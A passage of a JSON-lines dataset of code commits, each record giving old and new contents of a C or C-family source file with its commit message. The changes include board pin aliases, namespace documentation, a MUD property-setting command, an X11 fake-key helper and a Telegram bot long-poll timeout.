/chromium,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,dednal\/chromium.src,zcbenz\/cefode-chromium,anirudhSK\/chromium,patrickm\/chromium.src,Fireblend\/chromium-crosswalk,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,dushu1203\/chromium.src,hujiajie\/pa-chromium,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,dushu1203\/chromium.src,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,anirudhSK\/chromium,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,chuan9\/chromium-crosswalk,M4sse\/chromium.src,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,ltilve\/chromium,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,dednal\/chromium.src,ondra-novak\/chromium.src,M4sse\/chromium.src,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,timopulkkinen\/BubbleFish,dushu1203\/chromium.src,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,littlstar\/chromium.src,markYoungH\/chromium.src,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,timopulkkinen\/BubbleFish,jaruba\/chromium.src,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,mogoweb\/chromium-crosswalk,ltilve\/chromium,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,Just-D\/chromium-1,markYoungH\/chromium.src,ChromiumWebApps\/chromium,jaruba\/chromium.src,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,littlstar\/chromium.src,hujiajie\/pa-chromium,nacl-webkit\/chrome_deps,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,axinging\/chromium-crosswalk,dednal\/chromium.src,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,hujiajie\/pa-chromium,ondra-novak\/chromium.src,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,dushu1203\/chromium.src,patrickm\/chromium.src,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,jaruba\/chromium.src,Just-D\/chromium-1,hujiajie\/pa-chromium,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,ltilve\/chromium,jaruba\/chromium.src,ondra-novak\/chromium.src,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,M4sse\/chromium.src,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,ondra-novak\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,Chilledheart\/chromium,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,dednal\/chromium.src,dednal\/chromium.src,axinging\/chromium-crosswalk,littlstar\/chromium.src,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,patrickm\/chromium.src,jaruba\/chromium.src,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,patrickm\/chromium.src,ondra-novak\/chromium.src,jaruba\/chromium.src,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,littlstar\/chromium.src,patrickm\/chromium.src,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,timopulkkinen\/BubbleFish,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,littlstar\/chromium.src,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,M4sse\/chromium.src,nacl-webkit\/chrome_deps,anirudhSK\/chromium,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,littlstar\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,anirudhSK\/chromium,Chilledheart\/chromium,dushu1203\/chromium.src,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,dednal\/chromium.src,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk"}
{"commit":"f96642de25cc145286bc35825c3f4ecc4dcb248b","old_file":"ports\/atmel-samd\/boards\/adafruit_slide_trinkey_m0\/pins.c","new_file":"ports\/atmel-samd\/boards\/adafruit_slide_trinkey_m0\/pins.c","old_contents":"#include \"shared-bindings\/board\/__init__.h\"\n\nSTATIC const mp_rom_map_elem_t board_global_dict_table[] = {\n    { MP_ROM_QSTR(MP_QSTR_NEOPIXEL), MP_ROM_PTR(&pin_PA04) },\n    { MP_ROM_QSTR(MP_QSTR_POTENTIOMETER), MP_ROM_PTR(&pin_PA02) },\n    { MP_ROM_QSTR(MP_QSTR_TOUCH), MP_ROM_PTR(&pin_PA07) },\n};\nMP_DEFINE_CONST_DICT(board_module_globals, board_global_dict_table);\n","new_contents":"#include \"shared-bindings\/board\/__init__.h\"\n\nSTATIC const mp_rom_map_elem_t board_global_dict_table[] = {\n    { MP_ROM_QSTR(MP_QSTR_NEOPIXEL), MP_ROM_PTR(&pin_PA04) },\n    { MP_ROM_QSTR(MP_QSTR_POTENTIOMETER), MP_ROM_PTR(&pin_PA02) },\n    { MP_ROM_QSTR(MP_QSTR_A0), MP_ROM_PTR(&pin_PA02) },\n    { MP_ROM_QSTR(MP_QSTR_TOUCH), MP_ROM_PTR(&pin_PA07) },\n};\nMP_DEFINE_CONST_DICT(board_module_globals, board_global_dict_table);\n","subject":"Add A0 as alias to pot pin.","message":"Add A0 as alias to pot pin.\n","lang":"C","license":"mit","repos":"adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython"}
{"commit":"05a03b02ca0a0d80542a74d1e9cc55d794dca595","old_file":"src\/chrono\/core\/ChChrono.h","new_file":"src\/chrono\/core\/ChChrono.h","old_contents":"\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\n#ifndef CHCHRONO_H\n#define CHCHRONO_H\n\n\/\/ Definition of the main module and sub-modules in the main Chrono library\n\n\/**\n    @defgroup chrono Chrono::Engine\n    @brief Core Functionality\n    @{\n        @defgroup chrono_physics Physics objects\n        @defgroup chrono_geometry Geometric objects\n        @defgroup chrono_collision Collision objects\n        @defgroup chrono_assets Asset objects\n        @defgroup chrono_solver Solver\n        @defgroup chrono_timestepper Time integrators\n        @defgroup chrono_functions Function objects\n        @defgroup chrono_particles Particle factory\n        @defgroup chrono_serialization Serialization\n        @defgroup chrono_utils Utility classes\n\n        @defgroup chrono_fea Finite Element Analysis\n        @{\n           @defgroup fea_nodes Nodes\n           @defgroup fea_elements Elements\n           @defgroup fea_constraints Constraints\n           @defgroup fea_contact Contact\n           @defgroup fea_math Mathematical support\n           @defgroup fea_utils Utility classes\n        @}\n    @}\n*\/\n\n\/\/\/ @addtogroup chrono\n\/\/\/ @{\n\n\/\/\/ This is the main namespace for the Chrono package.\nnamespace chrono {}\n\n\/\/\/ @} chrono\n\n#endif\n","new_contents":"\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\n#ifndef CHCHRONO_H\n#define CHCHRONO_H\n\n\/\/ Definition of the main module and sub-modules in the main Chrono library\n\n\/**\n    @defgroup chrono Chrono::Engine\n    @brief Core Functionality\n    @{\n        @defgroup chrono_physics Physics objects\n        @defgroup chrono_geometry Geometric objects\n        @defgroup chrono_collision Collision objects\n        @defgroup chrono_assets Asset objects\n        @defgroup chrono_solver Solver\n        @defgroup chrono_timestepper Time integrators\n        @defgroup chrono_functions Function objects\n        @defgroup chrono_particles Particle factory\n        @defgroup chrono_serialization Serialization\n        @defgroup chrono_utils Utility classes\n\n        @defgroup chrono_fea Finite Element Analysis\n        @{\n           @defgroup fea_nodes Nodes\n           @defgroup fea_elements Elements\n           @defgroup fea_constraints Constraints\n           @defgroup fea_contact Contact\n           @defgroup fea_math Mathematical support\n           @defgroup fea_utils Utility classes\n        @}\n    @}\n*\/\n\n\/\/\/ @addtogroup chrono\n\/\/\/ @{\n\n\/\/\/ Main namespace for the Chrono package.\nnamespace chrono {\n\/\/\/ Namespace for FEA classes.\nnamespace fea {}\t\n}\n\n\n\n\/\/\/ @} chrono\n\n#endif\n","subject":"Add description of the `chrono::fea` namespace","message":"Add description of the `chrono::fea` namespace\n","lang":"C","license":"bsd-3-clause","repos":"rserban\/chrono,projectchrono\/chrono,projectchrono\/chrono,Milad-Rakhsha\/chrono,dariomangoni\/chrono,Milad-Rakhsha\/chrono,dariomangoni\/chrono,rserban\/chrono,projectchrono\/chrono,rserban\/chrono,rserban\/chrono,rserban\/chrono,dariomangoni\/chrono,Milad-Rakhsha\/chrono,dariomangoni\/chrono,rserban\/chrono,projectchrono\/chrono,dariomangoni\/chrono,projectchrono\/chrono,Milad-Rakhsha\/chrono,projectchrono\/chrono,rserban\/chrono,dariomangoni\/chrono,Milad-Rakhsha\/chrono,Milad-Rakhsha\/chrono"}
{"commit":"77db605eec03df2e12b713639d63c9777161b309","old_file":"testmud\/mud\/home\/Text\/sys\/verb\/wiz\/pset.c","new_file":"testmud\/mud\/home\/Text\/sys\/verb\/wiz\/pset.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths.h>\n\n#include <account\/paths.h>\n#include <game\/paths.h>\n#include <text\/paths.h>\n\ninherit LIB_VERB;\n\nvoid main(object actor, string args)\n{\n\tstring *users;\n\tobject user;\n\tobject obj;\n\tstring oname;\n\tstring pname;\n\tmixed pvalue;\n\n\tuser = query_user();\n\n\tif (user->query_class() < 2) {\n\t\tsend_out(\"You do not have sufficient access rights to set object properties.\\n\");\n\t\treturn;\n\t}\n\n\tif (sscanf(args, \"%s %s %s\", oname, pname, pvalue) != 3) {\n\t\tsend_out(\"Usage: pset <object> <property name> <value>\\n\");\n\t\treturn;\n\t}\n\n\tobj = find_object(oname);\n\n\tif (!obj) {\n\t\tsend_out(oname + \": No such object.\\n\");\n\t\treturn;\n\t}\n\n\tpvalue = PARSE_VALUE->parse(pvalue);\n\n\tobj->set_property(pname, pvalue);\n}\n","subject":"Add prototype for property set command","message":"Add prototype for property set command\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"811907fb84d45caad1376698b43316a18b96ed00","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/*\n*****************************************************************************\n*                      ___       _   _    _ _\n*                     \/ _ \\ __ _| |_| |__(_) |_ ___\n*                    | (_) \/ _` | \/ \/ '_ \\ |  _(_-<\n*                     \\___\/\\__,_|_\\_\\_.__\/_|\\__\/__\/\n*                   Copyright (c) 2015 Romain Picard\n*\n* Permission is hereby granted, free of charge, to any person obtaining a copy\n* of this software and associated documentation files (the \"Software\"), to deal\n* in the Software without restriction, including without limitation the rights\n* to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n* copies of the Software, and to permit persons to whom the Software is\n* furnished to do so, subject to the following conditions:\n*\n* The above copyright notice and this permission notice shall be included in\n* all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n* THE SOFTWARE.\n*****************************************************************************\/\n#include <stdio.h>\n#include \"sysflake.h\"\n\nint main(void)\n{\n    printf(\"%016llX\", sysflake_generate());\n    return 0;\n}\n","new_contents":"\/*\n*****************************************************************************\n*                      ___       _   _    _ _\n*                     \/ _ \\ __ _| |_| |__(_) |_ ___\n*                    | (_) \/ _` | \/ \/ '_ \\ |  _(_-<\n*                     \\___\/\\__,_|_\\_\\_.__\/_|\\__\/__\/\n*                   Copyright (c) 2015 Romain Picard\n*\n* Permission is hereby granted, free of charge, to any person obtaining a copy\n* of this software and associated documentation files (the \"Software\"), to deal\n* in the Software without restriction, including without limitation the rights\n* to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n* copies of the Software, and to permit persons to whom the Software is\n* furnished to do so, subject to the following conditions:\n*\n* The above copyright notice and this permission notice shall be included in\n* all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n* THE SOFTWARE.\n*****************************************************************************\/\n#include <stdio.h>\n#include \"sysflake.h\"\n\nint main(void)\n{\n    printf(\"%016llX\\n\", sysflake_generate());\n    return 0;\n}\n","subject":"Add newline after printing flake","message":"Add newline after printing flake\n","lang":"C","license":"mit","repos":"MainRo\/sysflake,MainRo\/sysflake,MainRo\/sysflake"}
{"commit":"bcfea9f14002e5a0746ff75469219beb785e3117","old_file":"src\/node.h","new_file":"src\/node.h","old_contents":"#ifndef SRC_NODE_H_\n\n#define SRC_NODE_H_\n\n#include \".\/render_data.h\"\n\n\/**\n * \\brief\n *\n *\n *\/\nclass Node\n{\n public:\n  virtual ~Node()\n  {\n  }\n\n  virtual void render(const RenderData &renderData) = 0;\n\n protected:\n  Node()\n  {\n  }\n};\n\n#endif  \/\/ SRC_NODE_H_\n","new_contents":"#ifndef SRC_NODE_H_\n\n#define SRC_NODE_H_\n\n#include \".\/render_data.h\"\n#include <boost\/serialization\/serialization.hpp>\n#include <boost\/serialization\/access.hpp>\n#include <boost\/serialization\/nvp.hpp>\n\n\/**\n * \\brief\n *\n *\n *\/\nclass Node\n{\n public:\n  virtual ~Node()\n  {\n  }\n\n  virtual void render(const RenderData &renderData) = 0;\n\n protected:\n  Node()\n  {\n  }\n private:\n  friend class boost::serialization::access;\n  template <class Archive>\n  void serialize(Archive &ar, unsigned int version) const {};\n};\n\n#endif  \/\/ SRC_NODE_H_\n","subject":"Add serialization to Node class.","message":"Add serialization to Node class.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
{"commit":"331895c3947e67098189232b689c7943703988ac","old_file":"CoconutKit\/Sources\/View\/HLSTextView.h","new_file":"CoconutKit\/Sources\/View\/HLSTextView.h","old_contents":"\/\/\n\/\/  HLSTextView.h\n\/\/  CoconutKit\n\/\/\n\/\/  Created by Samuel Défago on 03.11.11.\n\/\/  Copyright (c) 2011 Hortis. All rights reserved.\n\/\/\n\n\/\/ TODO: - move automatically with the keyboard\n\/\/       - dismiss when tapping outside\n\n@interface HLSTextView : UITextView\n\n\/**\n * The text to be displayed when the text view is empty. Default is nil\n *\/\n@property (nonatomic, retain) NSString *placeholderText;\n\n\/**\n * The color of the placeholder text. Default is light gray\n *\/\n@property (nonatomic, retain) UIColor *placeholderTextColor;\n\n@end\n","new_contents":"\/\/\n\/\/  HLSTextView.h\n\/\/  CoconutKit\n\/\/\n\/\/  Created by Samuel Défago on 03.11.11.\n\/\/  Copyright (c) 2011 Hortis. All rights reserved.\n\/\/\n\n\/**\n * Lightweight UITextView subclass providing more functionalities\n *\/\n@interface HLSTextView : UITextView\n\n\/**\n * The text to be displayed when the text view is empty. Default is nil\n *\/\n@property (nonatomic, retain) NSString *placeholderText;\n\n\/**\n * The color of the placeholder text. Default is light gray\n *\/\n@property (nonatomic, retain) UIColor *placeholderTextColor;\n\n@end\n","subject":"Add a small bit of documentation","message":"Add a small bit of documentation\n","lang":"C","license":"mit","repos":"cbdr\/CoconutKit,cbdr\/CoconutKit,cbdr\/CoconutKit,cbdr\/CoconutKit,cbdr\/CoconutKit"}
{"commit":"fdc2808e4c51f5a1126af8906f596d6eb31cf996","old_file":"arch\/sgi\/dev\/iockbcvar.h","new_file":"arch\/sgi\/dev\/iockbcvar.h","old_contents":"\/*\t$OpenBSD: iockbcvar.h,v 1.3 2010\/12\/03 18:29:56 shadchin Exp $\t*\/\n\n\/*\n * Copyright (c) 2010 Miodrag Vallat.\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\nint\tiockbc_cnattach();\n","new_contents":"\/*\t$OpenBSD: iockbcvar.h,v 1.4 2010\/12\/04 11:23:43 jsing Exp $\t*\/\n\n\/*\n * Copyright (c) 2010 Miodrag Vallat.\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\nint\tiockbc_cnattach(void);\n","subject":"Make sgi port compile again.","message":"Make sgi port compile again.\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"efc87d57b802c892907bcadeaf23cd65d597c7ce","old_file":"cbits\/fakekey.c","new_file":"cbits\/fakekey.c","old_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#ifdef __linux__\n\n#include <stdio.h>\n#include <X11\/Xlib.h>\n#include <X11\/Intrinsic.h>\n#include <X11\/extensions\/XTest.h>\n\nDisplay *fakekey_dis;\n\nvoid fakekey_init(void) {\n    fakekey_dis = XOpenDisplay(NULL);\n}\n\nvoid fakekey_press(int code) {\n    XTestFakeKeyEvent(fakekey_dis, code, True, 0);\n    XFlush(fakekey_dis);\n}\n\nvoid fakekey_release(int code) {\n    XTestFakeKeyEvent(fakekey_dis, code, False, 0);\n    XFlush(fakekey_dis);\n}\n\n#else\n\nvoid fakekey_init(void) {\n}\n\nvoid fakekey_press(int code) {\n}\n\nvoid fakekey_release(int code) {\n}\n\n#endif\n","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#ifdef __linux__\n\n#include <stdio.h>\n#include <X11\/Xlib.h>\n#include <X11\/Intrinsic.h>\n#include <X11\/extensions\/XTest.h>\n\nDisplay *fakekey_dis;\n\nvoid fakekey_init(void) {\n    fakekey_dis = XOpenDisplay(NULL);\n}\n\nvoid fakekey_press(int keysym) {\n    XTestFakeKeyEvent(fakekey_dis, XKeysymToKeycode(fakekey_dis, keysym), True, 0);\n    XFlush(fakekey_dis);\n}\n\nvoid fakekey_release(int keysym) {\n    XTestFakeKeyEvent(fakekey_dis, XKeysymToKeycode(fakekey_dis, keysym), False, 0);\n    XFlush(fakekey_dis);\n}\n\n#else\n\nvoid fakekey_init(void) {\n}\n\nvoid fakekey_press(int keysym) {\n}\n\nvoid fakekey_release(int keysym) {\n}\n\n#endif\n","subject":"Use keysym to keycode mapping in C","message":"Use keysym to keycode mapping in C\n","lang":"C","license":"bsd-3-clause","repos":"bitonic\/zurihac-plays,bitonic\/zurihac-plays"}
{"commit":"d1c6a8062577f5ce58105afff2d0a1887bfff957","old_file":"include\/tgbot\/net\/TgLongPoll.h","new_file":"include\/tgbot\/net\/TgLongPoll.h","old_contents":"#ifndef TGBOT_TGLONGPOLL_H\n#define TGBOT_TGLONGPOLL_H\n\n#include \"tgbot\/Bot.h\"\n#include \"tgbot\/Api.h\"\n#include \"tgbot\/EventHandler.h\"\n\nnamespace TgBot {\n\n\/**\n * @brief This class handles long polling and updates parsing.\n *\n * @ingroup net\n *\/\nclass TgLongPoll {\n\npublic:\n    TgLongPoll(const Api* api, const EventHandler* eventHandler, int32_t, int32_t, const std::shared_ptr<std::vector<std::string>>&);\n    TgLongPoll(const Bot& bot, int32_t = 100, int32_t = 60, const std::shared_ptr<std::vector<std::string>>& = nullptr);\n\n    \/**\n     * @brief Starts long poll. After new update will come, this method will parse it and send to EventHandler which invokes your listeners. Designed to be executed in a loop.\n     *\/\n    void start();\n\nprivate:\n    const Api* _api;\n    const EventHandler* _eventHandler;\n    int32_t _lastUpdateId = 0;\n    int32_t _limit;\n    int32_t _timeout;\n    std::shared_ptr<std::vector<std::string>> _allowupdates;\n};\n\n}\n\n#endif \/\/TGBOT_TGLONGPOLL_H\n","new_contents":"#ifndef TGBOT_TGLONGPOLL_H\n#define TGBOT_TGLONGPOLL_H\n\n#include \"tgbot\/Bot.h\"\n#include \"tgbot\/Api.h\"\n#include \"tgbot\/EventHandler.h\"\n\nnamespace TgBot {\n\n\/**\n * @brief This class handles long polling and updates parsing.\n *\n * @ingroup net\n *\/\nclass TgLongPoll {\n\npublic:\n    TgLongPoll(const Api* api, const EventHandler* eventHandler, int32_t, int32_t, const std::shared_ptr<std::vector<std::string>>&);\n    TgLongPoll(const Bot& bot, int32_t = 100, int32_t = 10, const std::shared_ptr<std::vector<std::string>>& = nullptr);\n\n    \/**\n     * @brief Starts long poll. After new update will come, this method will parse it and send to EventHandler which invokes your listeners. Designed to be executed in a loop.\n     *\/\n    void start();\n\nprivate:\n    const Api* _api;\n    const 